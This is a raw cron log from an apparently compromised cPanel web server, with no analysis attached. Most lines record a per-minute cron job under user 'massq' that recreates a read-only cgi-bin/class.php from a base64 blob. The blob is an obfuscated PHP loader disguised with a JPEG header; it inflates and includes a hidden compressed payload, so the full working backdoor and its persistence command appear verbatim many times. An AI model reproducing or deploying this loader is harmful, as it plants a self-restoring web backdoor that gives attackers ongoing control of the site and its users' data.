Nov  9 18:26:01 server CROND[11847]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:27:01 server CROND[12663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 18:27:01 server CROND[12664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:28:01 server CROND[13467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:29:01 server CROND[14284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:30:01 server CROND[15046]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:30:01 server CROND[15047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 18:30:01 server CROND[15048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:30:01 server CROND[15050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:31:01 server CROND[16015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:32:01 server CROND[16846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:33:01 server CROND[17343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:34:01 server CROND[17839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:35:01 server CROND[18616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:35:01 server CROND[18619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:35:01 server CROND[18620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:35:01 server CROND[18621]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 18:35:01 server CROND[18622]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 18:36:01 server CROND[19429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:37:01 server CROND[20253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:38:01 server CROND[21079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
